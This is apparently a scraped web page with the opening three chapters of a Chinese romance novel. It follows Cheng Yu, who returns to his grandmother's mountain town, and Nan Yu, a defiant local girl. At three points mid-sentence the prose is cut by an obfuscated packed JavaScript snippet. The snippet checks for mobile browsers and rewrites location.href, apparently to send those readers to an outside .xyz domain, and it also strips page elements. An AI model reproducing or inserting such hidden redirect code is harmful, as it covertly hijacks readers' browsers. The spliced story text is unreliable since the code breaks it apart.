《南有嘉鱼》 1. 第 1 章 程遇回到山内镇的那天,是八月中旬。 从槐州市到山内镇,五个小时的车程,程遇没有让他爸程佑军送,是自己拖着行李箱坐车回来的。 通往山内镇只有一辆公交车,在镇上最繁华的那条街上设了一个公交车站牌。 程遇拎着行李从公交车上下来的时候正是中午,头顶太阳很大。长时间的车程让他既疲惫又渴,他压了压头顶的帽子,环视一圈在附近先找了家商店买了瓶水。 从商店出来,路边正好有小年轻开过几辆摩托,像是不怕出事一样,摩托在这条街上开得飞快,扬起了路边的尘土。 小年轻很有精力,即使车已经远去,程遇还隐约能听到“南姐牛逼”的高呼声以及欢笑声。 程遇没有在意,他一手拎着水,一手拖着行李箱往小巷子走。 山内镇三面环山,交通不便,因此发展速度很慢。镇上的变化不是那么大,即使有七八年没有回来,程遇也大概能记清家里的旧宅在哪个方向。 虽然具体位置可能不知道,但凭着印象以及问了两个人,程遇还是找到了地方。他站在门口抬头看,房子白墙灰瓦,看起来很气派。 这栋宅子是前几年程佑军回来盖的,他早些年做生意发了点小财,在槐州市买了一套房子搬了过去,没过两年又回来修了这栋老宅。 门半掩着,程遇推门进去,正在院子里杀鱼的刘雁花听到动静往门口看,看到是他,眼中满是惊喜,在围裙上擦了擦手起身迎接,“小遇回来了。” 程遇叫她:“奶奶。” “哎,”刘雁花应了声,笑得眼睛都快看不见了,“快进屋,还没吃饭吧,奶奶去给你做。” 刘雁花带着程遇进了给他准备的房间,“你把行李放这,先休息一下,奶奶马上做好饭。” 程遇“嗯”了声,刘雁花又上下看了他一下,笑眯眯的去厨房了。 程遇打量了一下这间房,装修简约,只放了一张床一个柜子以及一个书桌。家具都很新,味道在这空间内都没完全散去,应该是刚买的。 程遇将行李箱打开,把带过来的几件衣服挂到衣柜,又稍微整理了一下书桌。收拾完,他坐在椅子上休息,窗户正对书桌,窗外几盆绿植长得正旺。他盯着那几抹绿,陷入了对以后生活的沉思。 没过多久,刘雁花做好了饭叫他出去吃。 刘雁花做的是一碗简单的面条,里面放了两个荷包蛋,面盛的很满,都快要溢出来了。 “多吃点,”刘雁花坐在程遇对面,笑着看他,“你看你,都瘦了。” 刘雁花上次见程遇还是在去年过年,每年过年程遇他们都不回来,程佑军会找人专门接她和程国盛去槐州市过年。 “你回来前我还跟你阿姨打电话来着,她说你早都走了,我以为是你爸送你回来的,没想到是你自己回的,”程遇吃着面,刘雁花有些抱怨的说,“你说你爸真是的,这么远,怎么能让你自己回来呢,我一会儿非得打电话说他一顿。” 程遇恍惚了一下,想起昨天晚上听到王秀敏在房里跟程佑军的争吵。 王秀敏说:“他这么大的人了还不会自己坐车?非要让你送?” 程佑军叹了口气:“他也不过才16,而且路这么远...” 王秀敏:“我不管,明天小宿出院,你必须去接他,他腿被程遇搞成那样了,还能走?你忍心让他走路?” 程佑军没有说话。 那一刻程遇知道,他是被抛弃了。 “不用,”程遇淡淡的说,“他平时工作也忙。” “工作再忙也不能让你自己回啊,”刘雁花忍不住叹气,“我们小遇受苦咯!” 程遇顿了一下,没有回应,继续低头默默的吃面。 吃完饭,刘雁花去收拾,说让程遇去看会儿电视。 程遇拒绝了,他说要去剪头发。刘雁花说要和他一块去,程遇说不用,他回来的时候看到了一家理发店,他自己去就行。 想想自己手里还有很多活儿没做,刘雁花就同意了。 临走时,她往程遇手里塞了几张红票子,说他剪完头发可以去超市逛逛,有什么想吃的买点,程遇不要,但她态度强硬,“拿着!不拿奶奶生气!” 程遇只好装了起来。 刘雁花乐呵呵的在门口看着他离开,在他背后说:“早点回来,今晚奶奶给你做红烧鱼吃!” 程遇摆了摆手,身影消失在巷子口。 —— 南鱼骑着摩托从巷子口飙车出来,稳稳地停在路边。 她摘下头盔,在原地等了约有十几秒,身后跟出来几辆车。 “行了,今天到这,我去把车还给刘铁。”等人到齐,南鱼说。 “别啊,南姐,这才刚飙了一圈。”一个染着一头黄毛的男生也摘下头盔,一脸没有尽兴。 其他几个人纷纷附和。 南鱼无视他们的声音,再次戴上头盔,“走了,你们先去KTV等我,我一会儿到,请你们喝酒。” 南鱼骑着摩托回到了修车铺,将车停好,拎着头盔往店里走。 今天上午,南鱼得知刘铁新改造了一辆摩托,刚吃了中午饭就心痒的叫上几个狐朋狗友一起去试车。围着山内镇跑了一圈,飙车瘾这才解掉。 刘铁刚忙完,见她进来,从旁边拿了一条毛巾边擦手边问:“怎么样?” “爽。”南鱼将钥匙丢给他,给了一个简短的评价。 修车店里无处下脚,南鱼在将桌子上的工具往旁边一拨,随意地坐在上面,“车哪弄的?” “前段时间去进零件,遇到人家卖车,看着还挺新,就买了回来,”刘铁说,“因为急着出手,也不贵,才几百。” “你这运气还挺好,”南鱼忍不住轻啧一声,“上个月进货遇到人家店铺倒闭清仓大甩卖,这个月又遇到这好事儿。” “没办法,人品好。”刘铁笑眯眯的说。 南鱼无语,“得了吧,夸你两句还上天了。” 刘铁笑笑没说话。 在修车店坐了会儿,刚才一起飙车的一个人给南鱼打了通电话,说“刘痦子”回来了。 南鱼一听,当即说让他们等着,她一会儿就过去。 “刘痦子”是他们镇上的一个理发店老板,原名叫刘永天,因为脖子上长了一个大痦子,人家就给他起了个外号叫“刘痦子”,外号叫久了,大家都忘了他的本名,一直以刘痦子称呼他。 刘铁听到了他们的对话,点了根烟问:“还是那事儿?” 前段时间刘痦子拿批发的“平安符”骗了南鱼奶奶两千块钱,还是南鱼发现后老太太通过她才得知自己被骗了,那两天老太太气得整夜整夜睡不着。 不过最近她似乎又忘了这件事。 南鱼“嗯”了声,从桌子上跳下来,对着刘铁伸手:“钥匙再借一下,晚上还你。” 刘铁轻啧一声,从兜里掏出来钥匙递过去,“你这图什么呢?刚把钥匙还我。” “那不是没想到这事儿。”南鱼拎着钥匙往外走。 她走到摩托车那跨上去,戴好头盔。 “南鱼,”刘铁靠在门框上叫了她一声,南鱼回头,刘铁抽了口烟说,“别受伤。” 南鱼笑:“放心。” 南鱼骑着摩托很快赶到了理发店,她把摩托停到一边,头盔摘了挂在车把上,推开门走进去。 理发店里,刚才和南鱼一起飙车的几个男生围成一圈,那几个人见到南鱼,自动给她让了条路。 圈子里面蹲着一个有些秃顶的男人,男人捂着脸在呻吟。 南鱼居高临下的看他。 “南姐,刘痦子刚才看到我们想跑,我们拦他,他要动手我才打他了一拳。”黄毛说。 南鱼点了下头,她垂下眼,居高临下的看着蹲在那的刘痦子。 刘痦子听到声音,也抬头往上看。看到南鱼,他“噌”的一下站了起来,怒气冲冲地说:“我说姓南的,你别太过分了!我已经把你奶奶的钱还回去了!你还想怎么样?” “是么?”南鱼语气淡淡的,她冷眼看他,“你确定还完了?” 刘痦子一时语塞,他顿了一下,脸通红:“当然还完了!” 南鱼冷笑一声,“我那天给了我奶奶两千块钱,回来的时候一分不剩,你只还了一千,那一千去哪了!” “说不定是你奶奶花到别处了!”刘痦子嘴硬的说。 “那天,我奶奶只来过你这里。”南鱼看着他说。 刘痦子暴躁起来:“说不定是你奶奶记错了,你奶奶现在脑子不清楚,说不好听点就是傻了,你怎么能听一个傻子说话!” “啪”的一声,南鱼甩了他一个耳光,“你再说一遍?” 南鱼眼神很冷。 “我□□——”突然被打,刘痦子跳起来想骂脏话,话没说完,刚才的那几个男生就围了过来,面色不善的盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283270|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他看,刘痦子赶紧闭嘴。 他讪讪的笑:“误会,都是误会。” “不承认是吧,”南鱼冷笑一声,对身边的几个男生说,“帮我把他值钱的东西都给我搬了!” 那几个男生立马开始行动。 刘痦子看着这一群强盗一般的人,急得不行,又不敢上前拦,“哎呀!别拆我店啊!” 南鱼站在一旁冷眼看着。 门口“吱呀”一声响,有人推门走了进来。 听到声音,南鱼往门口看过去,一道颀长的身影站在光里。 来人是一个男生,他手扶着门,似乎没想到里面是这么一副场景,表情有些怔愣。 看到有人来,刘痦子像抓住救命稻草一样冲他喊:“帅哥,帮帮忙,有人抢劫,帮我报警!” “操你大爷的,老实点!”在刘痦子旁边的看着他的黄毛用力拍了一下他的脑袋。 刘痦子不敢再吱声。 南鱼直直的看着门口的男生,脸上没什么表情。 男生站在那儿了几秒,不知道想了什么,面色不改的从理发店里退了出去。 见人走了,刘痦子希望破灭了。 “继续拆,”南鱼收回眼神,她走到刘痦子旁边,拍了拍他的脸,“你要是不把钱交出来,你这理发店也别想再开下去了。” 店里的东西被拆的乱七八糟的,刘痦子心疼的要死,对着南鱼说:“别拆了,别拆了,我把钱给你。” 南鱼示意其他人停下,看着刘痦子去拿钱。 刘痦子从后面锁着的柜子里拿了一千,肉疼的递给南鱼,“你数数。” 南鱼接过去,认真的数了一下。 十张,一张不多一张不少。 “走吧。”南鱼叫上那几个男生往外面走。 还没出门,理发店又进来两个人。 是穿着制服的的警察。 “有人举报说这里抢劫,”为首警察叫程伟建,他的目光触及理发店里的人,瞬间有些头疼,“又是你们几个。” “程叔啊,你可得替我做主,这几个小崽子来砸我店,还抢了我一千块钱。”刘痦子像找到靠山一样,连忙到程伟建旁边哭诉。 程伟建看向南鱼,南鱼一脸随意,她甩了甩手里的几张钞票,“我拿回自己的钱而已。” “什么你自己的钱,明明是我的钱,”刘痦子昂着头说,“你抢我钱,还砸我店!这事儿不能这么算了。” “你还没长记性是吧。”南鱼看着他的眼神发冷。 “你看你看,她还威胁我呢。”刘痦子这会儿倒不怕她。 “南鱼!”程伟建皱了皱眉,抬高了声音。 “在呢,”南鱼懒洋洋的回,“您别那么大声,我不聋。” “你们几个都跟我回派出所说,”南鱼的态度把程伟建气的不轻,他指着在场的几个人说,“走之前先把人家的店给收拾好。” 几个半大不小的男生平日里天不怕地不怕,还就怕面前的人,因为程国建一贯刚正不阿,得罪他说不定就会跟家长打电话告状。 他们无精打采的说好,没一会儿就把店里东西恢复原位。 几个人被带往派出所,到了门口,刚好遇见从里面出来的程遇。 程伟建跟他打招呼,“小遇,录完笔录了?” “嗯,录完了。”程遇点了点头。 短暂停足期间,南鱼站在程伟建身后打量着程遇。 程遇穿着一个简约的白短袖,黑色运动裤,眉目清朗端正。 程伟建在跟他寒暄,他认真的听他说话,脸上始终挂着淡淡的笑意,举手投足间很是礼貌。 “行,回去吧。”寒暄了几句,程伟建冲他摆了摆手。 程遇“嗯”了一声,似是有感应般的抬眸看了眼正在打量他的南鱼。 四目相对,只一瞥,程遇觉得一股熟悉感油然而生。 没多细想,他把眼神移开了,越过他们头也不回的往外走。 他走后,南鱼身边的黄毛,也就是刘德旋撞了撞南鱼的胳膊,小声说:“南姐,这不就是刚才那个男生,肯定就是他找的程伯,我们要不要教训他一顿。” 南鱼还没来得及回答,这句话就落到了程伟建的耳朵里,他按了按刘德旋的脑袋,“又教训谁呢,快给我进去。” 刘德旋被程伟建揪着进了所里,南鱼慢悠悠的紧跟其后,不过在进去前,她回头看了一眼消失在门口的程遇。 2. 第 2 章 南鱼几个人被训斥了一番才被放走,临走前,程国建让南鱼把一千块钱还给了刘痦子。 刘痦子十分得意,他扬眉吐气的,像打了一场胜仗的公鸡。 刘德旋看到他这副样子,没忍住又想上手揍他。 南鱼拦了下来,“算了。” “南姐,真就这么算了?”出了派出所,刘德旋问。 “先这样,程伟建知道了这事儿,你们最近别对他动手。”南鱼回头看了一眼派出所的门牌,淡声说。 程伟建刚才私底下向她保证说会追回她奶奶被骗的钱,让他别明面上找刘痦子麻烦。 虽然她不相信程伟建能帮她解决这事儿,但现在已经闹到了派出所,她不想牵连到这几个朋友。 “害!我真是气不过!”刘德旋在一旁念叨,“如果不是那小子,我们拿了钱就走了。” 旁边其他几个人附和。 南鱼没有说话,想到程遇,她也是有些恼火。 真是多管闲事的人。 南鱼回到刘铁修车铺,刘铁刚忙完。 他擦了擦额头上的汗,看到迎面走过来脸色不是特别好的南鱼,问她:“怎么了?钱没要过来?” “没。”南鱼将摩托车钥匙丢给他,面无表情坐在桌子上。 刘铁看了眼被她坐的有些摇晃的桌子,从旁边拉出来一个凳子坐到她面前,点了根烟问:“怎么回事儿?” “给我一根。”南鱼伸手。 “你一个小姑娘家的少抽点。”嘴上这么说,刘铁还是拿了一根递给她。 南鱼从桌子上捞了一个打火机把烟点燃深深地抽了一口,随后吐气。 烟雾缭绕,她捋了捋耳边的头发回:“进派出所了。” 刘铁好奇:“怎么闹到派出所了,刘痦子报警了?” “不是他。” “那是谁?镇上人谁敢惹你?” 南鱼眯了下眼不说话。 她不多说,刘铁也没再问下去。 两人静静地抽烟。 一根烟抽完,南鱼从桌上跳下来,“我走了。” “我送你,”刘铁把烟掐灭,拿上摩托车钥匙说,“正好我下班了。” 南鱼没拒绝,刘铁把她送到家门口,南鱼下了车,把头盔给他,刘铁接过,伸手轻弹了下南鱼脑门,笑道:“别皱眉,天天跟个老太太似的。” 南鱼没心情和他开玩笑,敷衍地冲他摆手,“回了。” 刘铁看着她的背影,直到她关上大门,他才离开。 回到家,南鱼看到了厨房烟囱正冒着烟。 她走到厨房,奶奶王秀正在炒菜。 南鱼走过去,从她身后抱住她,撒娇的问:“好香啊!今天做什么好吃的啦!” “土豆炒肉。”奶奶笑眯眯的回。 “哦,今天有口福了,”南鱼从旁边的筷筒里抽了根筷子,“让我先尝尝。” “哎,你还没洗手,”奶奶瞪了她一眼,去拍她的手,“不干净,快去先洗手。” “好好好,我去洗。”在老太太的催促下,南鱼去洗了手。 回来时菜已经出锅,奶奶将菜推到她面前,笑道:“大馋猫,快尝尝。” 南鱼夹了一筷子放嘴里,她的眉头立马皱了起来。 “怎么了?不好吃?”奶奶问。 “奶奶,你是不是又把糖和盐搞混了!”南鱼叹了口气,“这菜是甜的。” “是甜的?”奶奶也拿筷子尝了尝,“还真是。” “哎,是奶奶不中用咯!”奶奶突然哭了起来,她的肩膀不停抖动。 南鱼连忙像哄小孩儿似的哄她:“谁说奶奶不中用了,奶奶把土豆和牛肉都切的很好呢!” “超厉害!”南鱼伸了个大拇指。 奶奶笑了起来。 南鱼带着奶奶在院子坐下,又回厨房先把汤盛出来凉着。盛好汤,南鱼把那一盘甜的土豆炒肉重新倒进锅里,多加了点盐翻炒了一会儿出锅,最后端出去和奶奶一起在院子里吃饭。 吃完饭,南鱼把锅刷了后回了房间。 她坐在那盯着桌子上和奶奶的合照发呆,想起今天奶奶突然就哭起来的时候,南鱼皱了下眉。 奶奶的病好像变重了一点,从一开始的总是忘事到现在开始变得情绪不稳定。 看来还得需要带她去县里检查。 南鱼订好了去县里的日期,又跟刘铁打了通电话拜托他那天抽出时间开车带她们去。 奶奶年纪大了,南鱼不想让她坐公交受罪。 刘铁想都没想就应下了。 处理好事情,南鱼揉了揉有些酸胀的眼,把身子摔在床上。 夏夜,窗外蛐蛐声此起彼伏,南鱼抱着被子,半梦半醒间,她脑中浮现的是今天遇到的那双没有什么波澜的眼睛。 — 在开学的前两天,南鱼带着奶奶去县城检查了下身体。 检查结果不出她所料,阿尔兹海默症又严重了。 回去的路上,奶奶靠在她的肩膀上睡觉,南鱼垂眸看了眼她花白的头发,想起医生上午说的话。 ——随着病情发展,患者会失去独立生活的能力,会忘记亲近的家人,这种病没办法治,只能尽量控制病情发展程度。 南鱼微不可察的叹了口气。 刘铁注意到,安慰她说:“你已经尽力了,南鱼,人各有命,老太太现在情况还不算太坏,最起码能记得你。” “但她总有一天会忘了我。”南鱼垂眸说。 “活在当下,在她还没有忘记你的时候多做些想做的事,别留遗憾。” 路上遇到红灯,刘铁习惯性的从手边拿烟,但抬头从后视镜看到睡着的老太太,又把烟放了回去。 “你奶奶还在就是好事儿,”刘铁从后视镜里看着南鱼,“人活着总有希望。” “你大道理还挺多。”南鱼沉默了一会儿,笑了。 “那是,虽然我没读过几年书,但比你多吃几年饭,”刘铁眯着眼,有些得意,“小妹妹,你还得跟哥再多学着点。” 南鱼翻了个白眼,不再理他。 到家的时候,南鱼也在车上睡着了。 刘铁将她们叫醒,她和奶奶下了车,刚好遇见程伟建在她家门口敲门。 听到后面声音,程伟建转身,“哎,南鱼,刚好我找你有事儿,走,跟我去派出所一趟。” 听到派出所,南鱼奶奶瞪了一眼南鱼,“你又闯祸了?” “没啊,我这两天不是一直在家陪你呢,怎么会去闯祸。”看奶奶要生气,南鱼连忙否认,在心里暗自回忆自己最近做了哪些事儿。 思来想去,也就是刘痦子那事儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283271|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但那件事已经解决了,程伟建也不至于再来找她。 “南鱼没闯祸,是这样的,前段时间您不是被骗了一千块钱,现在我们已经调查清楚了,现在要还您钱,让南鱼去派出所帮您拿回来。” “哦哦,是这样啊,”南鱼奶奶点点头,有些迷茫的陷入了回忆,“好像是有这么一回儿事。” “奶奶,我去了,”南鱼看了眼刘铁,“你先帮忙照顾会儿我奶奶。” “行。”刘铁倚在车边叼着烟点头。 南鱼跟着程伟建去派出所。 一路上,两人一前一后,谁都没有说话。 到了派出所门口,程伟建交代南鱼:“一会儿你先去大厅里签字,我还有事儿,就不陪你过去了。” “知道了。”南鱼回的漫不经心。 她大踏步越过他,募地想起什么,顿了一下脚步,有些嘲讽地说:“你可别指望我会感谢你。” 程伟建一愣,随即笑道:“南鱼,这本来就是身为一个警察应该做的,不需要你感谢。” 南鱼轻“哼”一声,很是不屑,“你们应该做的事情多了,有很多却没办到,你们不配当警察。” 话音落地,南鱼径直向大厅走去。 程伟建留在原地,看着女生倔强的背影,忍不住叹了口气。 大厅里已经来了好几家同样被骗的人。 南鱼环视一圈,看到了角落里的程遇。 他在一个老太太的旁边,站得笔直,像一棵挺拔的松。 他脸上的表情依旧很淡,晦明交界处,南鱼看到他棱角分明的侧脸上落下了一层淡淡的光,映得皮肤白皙。 南鱼轻嗤一声,收回了眼神,慢悠悠的往办公桌那走。 她没有看到是,在她移开视线后,程遇的目光一直紧紧追随着她。 确认后签完名,南鱼领了一千块钱就准备离去。 她刚出派出所的大门,就听到有人在身后叫她。 “南鱼。” 南鱼回头。 是程遇。 南鱼意外的挑眉,不过她不准备理他,像是没听到似的继续往前走。 “等等。” 后面的脚步声加快,程遇拦在了她的面前。 “等一下。” “有什么事儿?”南鱼轻啧一声,语气懒洋洋的。 “我是来向你道歉的,”程遇解释,“那天对不起,我看到你们在砸他的店,我还以为……” “行了,不用道歉,”南鱼摆摆手,打断了他的话,“以后少管闲事儿就行。” 南鱼不想和他纠缠纠缠太多,越过他就准备离开。 “等一下。”程遇抓住她的胳膊。 “我说,又怎么了?”再三被拦,南鱼有些不耐。 “对不起,我那天没认出你。” “南鱼,你还记得我么?” 热烈的午后,阳光刺眼,树上的蝉鸣声声不歇。 面前的男生许是因为热,许是因为着急,鼻翼上出了一层薄薄的汗,脸色看起来也有点苍白。 他的眼神不似先前南鱼见到的那么冷静,而是带着一丝期待。 他就直直的看着南鱼,一字一句问: “南鱼,七年了,你还记得我么?” “我是程遇。” “我回来了。” 3. 第 3 章 南鱼做了个梦。 梦里有一个男孩儿站在她家门前用力地敲门说让她开门,南鱼站在院子里,任凭他怎么喊也没有移动半步。 画面一转,那个男孩儿在水里挣扎,南鱼想要跳水里救他,还没下水,她就被奶奶叫醒。 “小鱼儿,上学啦!第一天别迟到咯!” 奶奶轻轻拍了几下她的被子,南鱼揉了揉眼,撒娇的抱着被子赖床,“让我再睡会儿。” “快起!我已经做好饭了!快点!”奶奶不依不饶。 南鱼只好从床上坐了起来。 她收拾好坐到院子饭桌上吃饭。 九月的天,清晨已经很凉快,山间的风吹着,带着一丝潮气。 南鱼拿了一个包子吃,边吃边看手机。 南鱼的手机是当年很流行的翻盖手机,她手机是粉色的,上面带着一个水晶手机挂链,打字的时候晃出清脆的响声。 奶奶将煮好的粥盛出来,拍了一下她的后背,“吃饭不许玩手机。” “疼,奶奶。”南鱼皱着脸揉揉后背。 “疼你才会长记性,吃饭要有一个吃饭的好习惯,”奶奶将粥推到她面前,“别只吃包子,喝粥。” 南鱼无奈,将手机收起来小口喝粥,奶奶满意的去厨房忙活了。 喝了没两口,南鱼听到大门口有人小声的叫她。 她抬头,刘德旋鬼鬼祟祟的扒着她家大门往里看。 两人对视,刘德旋冲她呲了呲牙,向她招手。 南鱼快速的喝了几口粥,到房间里拿上书包往外走。 “奶奶,我去上学了。” “粥喝完了没?”奶奶的声音从厨房传出来。 “喝了一半啦!不喝了,我走啦!” “哎!喝完再走啊!” 奶奶从厨房出来,南鱼已经出门了。 她看了眼桌子上剩了大半碗的粥,叹了口气,“这孩子。” 南鱼拉上刘德旋快速离开了家门口。 “你不怕被我奶奶看到啊?”南鱼问。 “我很小心的,”刘德旋嘿嘿笑了两声,挠了挠头,“你奶奶还这么讨厌我啊。” 南鱼拎着书包往前走,“你说呢,我奶奶觉得是你带坏了我。” “我?是我?”刘德旋瞪大了眼睛,冲着她背影喊,“天地良心啊!这是大大的污蔑!赤裸裸的污蔑!” “行了,快点跟上!”南鱼心情很好的弯了弯唇,往后冲他招手。 “哦哦,等等我。”刘德旋背好书包,小跑去追南鱼。 两人一路拌嘴到学校,一进到教室,南鱼将书包往旁边桌子一丢,就开始趴那睡觉。 程遇被班主任徐奇带进教室的时候,教室里闹哄哄的。 徐奇拿着黑板擦拍了拍黑板,“大家安静一下。” 教室内声音逐渐变小,但还有一些细碎的响声。 “今天新学期开学第一天,我们班转来了一个新同学,大家鼓掌欢迎一下。”徐奇清了清嗓子说。 底下很给面子的响起一阵掌声。 “程遇,你给大家做个自我介绍吧。”徐奇对着程遇笑得温和。 程遇点了下头,“大家好,我叫程遇,前程似锦的程,遇见的遇。” “程遇,你先去后面找个空位随便坐吧,咱班的位置是按成绩排的,你刚来没成绩,现在没办法给你调整,等到月考后再给你调座位。”徐奇抬抬手。 “老师,咱班后面只剩一个座位了。”班长万以荣提醒。 “是么?那程遇,你就先坐那……”徐奇推了推眼镜说。 “老师,那个位置在南鱼旁边。”万以荣继续说。 “……”徐奇往后仔细看了眼,后面确实没有多余位置,只余下最角落里那个正趴着睡觉的女生旁边有一个空位。 南鱼,徐奇眼中典型的坏学生,他可不能让程遇这个好苗子被她给祸害了。 “你把南鱼旁边的那张桌子搬到……”话没对程遇说完,徐奇看到南鱼旁边桌子的书包,叹了口气,“算了,体育委员,你带一个人去仓库给程遇搬个新的桌椅吧。” “Yer,Sir!保证完成任务!”体育委员刘天瑞听到徐奇指示,蹭的一下站了起来冲他敬了个礼。 他的动作夸张,班里人一阵哄笑。 “行了,就你贫,”徐奇笑笑,“赶紧去!” 刘天瑞拉上他同桌立马准备离开。 程遇这时开口:“老师,不用了,我就坐那个位置吧。” “那个叫南鱼的女生旁边。”像是怕徐奇不知道他说的哪个位置,程遇又补充道。 徐奇愣了一下,神情缓和说:“那个位置不建议你坐,我怕会影响到你。” “没关系,”程遇坚持,“我就坐那里就行。” 程遇表情执拗,徐奇劝不动他,末了,只能叹了口气:“行,你先坐那,如果觉得不合适了给我说,我再给你调整。” “好的,谢谢老师。” 程遇拎着书包,无视落在身上的多道目光往教室后方走去。 “哎,那谁,体育委员你们不用去搬桌椅了,带几个人直接去教科楼搬书去。”徐奇又指挥道。 “得嘞!” 几个男生离开教室后,徐奇又站在讲台上啰嗦了几句“新学期,离高三又近了一步,大家要好好学习”诸如此类老生常谈的话题,说完后,他也离开了教室。 他一走,教室里又闹哄起来。 班里新转来了个男生,还是长得不错的男生,自然能够引起一番讨论。 尤其是女生,好些女生都转过来身偷偷的去看程遇。 程遇像是什么都没有察觉似的忙自己的事情。 他坐到座位上,先把南鱼的书包给挂到她桌椅侧面的挂钩上,又将自己带来的资料从书包里掏出来低头开始做题。 前面的男生转过身来,看到他在做题,眼睛不禁瞪大,“不是吧,哥们儿,你要不要这么拼啊!刚来就学习?” 程遇“嗯”了一声,头都没抬。 “我叫万高达,”那男生显然没有看出来程遇不想理他,接着朝他搭话,“哥们儿,你从哪转过来的?” “槐州市一中。”男生一直和他说话,出于礼貌,程遇停下了笔回他。 “卧槽?哪?我没听错吧?”万高达惊了,“你说的是那个很牛逼的的槐州市一中?” 程遇“嗯”了一声,想了下说:“学校也还好。” “也还好……”万高达呵呵干笑了两声,“你也真够谦虚的。” 谁不知道槐州市一中的名声,老师天天给他们念叨。 槐州市一中是整个安庆省最好的一所高中,只要考进这里,最差也能读一个一本,那里的985211的升学率高的可怕,尤其是精英班,不夸张的说,里面的学生基本上个个都是清北。 所以是个家长都希望自己的孩子能考进去,但考进去也很难,全省的学生一起争名额,夸张点说,头破血流都不一定能考上,能进去的都是尖子中的尖子。 就是这样一个学校,程遇竟然不念了,跑来他们这个落后的大山里读书。 万高达甚至觉得程遇是不是生活的太顺,给自己找点绊子。 “那你为什么转来这念书?”万高达好奇问。 提及这个话题,程遇垂眸,敛去眼中情绪,没有说话。 万高达还想再问点什么,体育委员带着几个男生已经把新书搬回来了。 教室里嘈杂声更甚,万高达的注意力也放到了讲台上。 几个男生将书每科分开放到讲台上,一科一科的从第一排分发让大家往后传。 程遇接过万高达传过来的书,写好名字,抬头看到万高达的同桌刘念娣正一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283272|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸纠结的往南鱼那看。 他往旁边看了一眼,女生睡得正熟。 程遇朝刘念娣伸过手,“把书给我吧,先放我这,一会儿她醒了我给她。” 见程遇接过这个烫手山芋,刘念娣松了一口气,她脸红的小声道谢,程遇说没事儿。 程遇将南鱼所有的书都接了过来先放在了自己书桌上。 看着崭新的书,程遇想了下,从书包里拿出来书皮纸,认认真真地把南鱼的书全都包了一遍。 包好书皮,他托着下巴,偏头看向她。 南鱼仍旧熟睡着。 程遇很奇怪,教室里这么吵南鱼是怎么睡着的。 旁边的窗户开着,从窗外刮进来了点风,将南鱼的发丝吹起。她的发丝很细,在自然光下看着还有些卷,发梢带了点棕,也不知道是染的还是自然发色。 程遇看着她,思绪不禁飘到了两天前。 他问她还记不记得他。 她是怎么回答的? 她先是笑了笑,狭长的眼睛像个狐狸一样,冷漠的冲着他说,“你谁?我为什么会记得你?” 然后转身离开,动作利落。 那天,程遇看着她的背影渐行渐远,直到消失不见。 还真是够无情的。 程遇自嘲的笑笑。 也才没几年,这么快就把他忘了。 很突然的,下课铃声响起,南鱼倏地睁开了眼睛。 程遇的目光没来得及从她身上移开,视线刚好相对。 南鱼:“……” 南鱼觉得自己睡觉打开方式不对,她怎么会在自己旁边看到了程遇。 南鱼重新闭眼,然后再睁开。 程遇还在。 她是在做梦?南鱼掐了掐自己。 嘶,疼。 不是做梦,程遇真的在她旁边坐着。 “你怎么坐这?”南鱼板起脸问。 “我转学过来了。”程遇回。 “不是,我问的是你为什么坐这里?”南鱼要被气笑了,她指着教室另一侧的位置带着命令的语气说,“我不喜欢有人坐我旁边,你搬着桌椅去那边坐。” 程遇没动,平静的看着她,“班主任让我坐在这里。” 南鱼皱了下眉,她才不相信这话,就徐奇对他的讨厌程度,怎么可能让人和她坐一起。 她踢了踢万高达的椅子,“喂,是徐奇让他坐我这里?” 万高达先看了看南鱼,她脸上明显有了不耐烦的神色,随后又看了下程遇,程遇面上没太大表情。 他挠了挠头,含糊的说:“算是吧。” 南鱼挑眉,徐奇这是转性了? “你的书。”程遇将桌上一摞包好书皮的书放到南鱼桌子上。 “新发的书学校还给包书皮了,这么贴心啊。”南鱼语气讽刺。 程遇像是没听懂她话里的意思,笑了下说,“算是给上次道歉了。” “那你这道歉还真没诚意,”南鱼轻笑一声,“拿走,我不需要。” 她指了指程遇桌上的另一摞,“换一下,我要那个。” 程遇拎起一本翻开第一页在南鱼面前晃了晃,“不好意思,我已经写过名字了。” “那就把书皮给我拆了,我不需要。”南鱼紧绷着脸。 “我请你吃饭,这样算有诚意么?”程遇岔开了话题。 南鱼深吸一口气,“程遇,你别让我发火。” “你记得我的名字了?” 程遇神情温和,漆黑的眼眸看着南鱼,对她的威胁并不在意。 “我最后再说一遍,把东西给我拆了!”南鱼一字一句的说。 气氛微妙,在这种氛围下,程遇却突然轻轻的笑了下。 他似是叹了口气,语气无奈,“南鱼,你还是跟以前一样。” “一点都没变。” 4. 第 4 章 